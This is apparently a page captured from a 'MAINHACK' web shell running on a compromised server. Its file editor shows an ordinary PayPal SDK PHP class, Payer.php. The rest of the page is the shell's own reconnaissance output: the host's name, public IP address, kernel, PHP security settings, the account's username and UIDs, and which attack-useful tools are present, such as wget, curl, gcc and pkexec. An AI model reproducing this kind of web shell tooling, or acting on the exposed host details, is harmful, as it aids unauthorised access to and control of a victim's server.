[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Payer.php
<?php namespace PayPal\Api; use PayPal\Common\PayPalModel; /** * Class Payer * * A resource representing a Payer that funds a payment. * * @package PayPal\Api * * @property string payment_method * @property string status * @property \PayPal\Api\FundingInstrument[] funding_instruments * @property string funding_option_id * @property \PayPal\Api\PayerInfo payer_info */ class Payer extends PayPalModel { /** * Payment method being used - PayPal Wallet payment, Bank Direct Debit or Direct Credit card. * Valid Values: ["credit_card", "bank", "paypal", "pay_upon_invoice", "carrier", "alternate_payment"] * * @param string $payment_method * * @return $this */ public function setPaymentMethod($payment_method) { $this->payment_method = $payment_method; return $this; } /** * Payment method being used - PayPal Wallet payment, Bank Direct Debit or Direct Credit card. * * @return string */ public function getPaymentMethod() { return $this->payment_method; } /** * Status of payer's PayPal Account. * Valid Values: ["VERIFIED", "UNVERIFIED"] * * @param string $status * * @return $this */ public function setStatus($status) { $this->status = $status; return $this; } /** * Status of payer's PayPal Account. * * @return string */ public function getStatus() { return $this->status; } /** * Type of account relationship payer has with PayPal. * Valid Values: ["BUSINESS", "PERSONAL", "PREMIER"] * * @deprecated Not publicly available * @param string $account_type * * @return $this */ public function setAccountType($account_type) { $this->account_type = $account_type; return $this; } /** * Type of account relationship payer has with PayPal. * * @deprecated Not publicly available * @return string */ public function getAccountType() { return $this->account_type; } /** * Duration since the payer established account relationship with PayPal in days. * * @deprecated Not publicly available * @param string $account_age * * @return $this */ public function setAccountAge($account_age) { $this->account_age = $account_age; return $this; } /** * Duration since the payer established account relationship with PayPal in days. * * @deprecated Not publicly available * @return string */ public function getAccountAge() { return $this->account_age; } /** * List of funding instruments to fund the payment. 'OneOf' funding_instruments,funding_option_id to be used to identify the specifics of payment method passed. * * @param \PayPal\Api\FundingInstrument[] $funding_instruments * * @return $this */ public function setFundingInstruments($funding_instruments) { $this->funding_instruments = $funding_instruments; return $this; } /** * List of funding instruments to fund the payment. 'OneOf' funding_instruments,funding_option_id to be used to identify the specifics of payment method passed. * * @return \PayPal\Api\FundingInstrument[] */ public function getFundingInstruments() { return $this->funding_instruments; } /** * Append FundingInstruments to the list. * * @param \PayPal\Api\FundingInstrument $fundingInstrument * @return $this */ public function addFundingInstrument($fundingInstrument) { if (!$this->getFundingInstruments()) { return $this->setFundingInstruments(array($fundingInstrument)); } else { return $this->setFundingInstruments( array_merge($this->getFundingInstruments(), array($fundingInstrument)) ); } } /** * Remove FundingInstruments from the list. * * @param \PayPal\Api\FundingInstrument $fundingInstrument * @return $this */ public function removeFundingInstrument($fundingInstrument) { return $this->setFundingInstruments( array_diff($this->getFundingInstruments(), array($fundingInstrument)) ); } /** * Id of user selected funding option for the payment.'OneOf' funding_instruments,funding_option_id to be used to identify the specifics of payment method passed. * * @param string $funding_option_id * * @return $this */ public function setFundingOptionId($funding_option_id) { $this->funding_option_id = $funding_option_id; return $this; } /** * Id of user selected funding option for the payment.'OneOf' funding_instruments,funding_option_id to be used to identify the specifics of payment method passed. * * @return string */ public function getFundingOptionId() { return $this->funding_option_id; } /** * Default funding option available for the payment * * @deprecated Not publicly available * @param \PayPal\Api\FundingOption $funding_option * * @return $this */ public function setFundingOption($funding_option) { $this->funding_option = $funding_option; return $this; } /** * Default funding option available for the payment * * @deprecated Not publicly available * @return \PayPal\Api\FundingOption */ public function getFundingOption() { return $this->funding_option; } /** * Funding option related to default funding option. * * @deprecated Not publicly available * @param \PayPal\Api\FundingOption $related_funding_option * * @return $this */ public function setRelatedFundingOption($related_funding_option) { $this->related_funding_option = $related_funding_option; return $this; } /** * Funding option related to default funding option. * * @deprecated Not publicly available * @return \PayPal\Api\FundingOption */ public function getRelatedFundingOption() { return $this->related_funding_option; } /** * Information related to the Payer. * * @param \PayPal\Api\PayerInfo $payer_info * * @return $this */ public function setPayerInfo($payer_info) { $this->payer_info = $payer_info; return $this; } /** * Information related to the Payer. * * @return \PayPal\Api\PayerInfo */ public function getPayerInfo() { return $this->payer_info; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002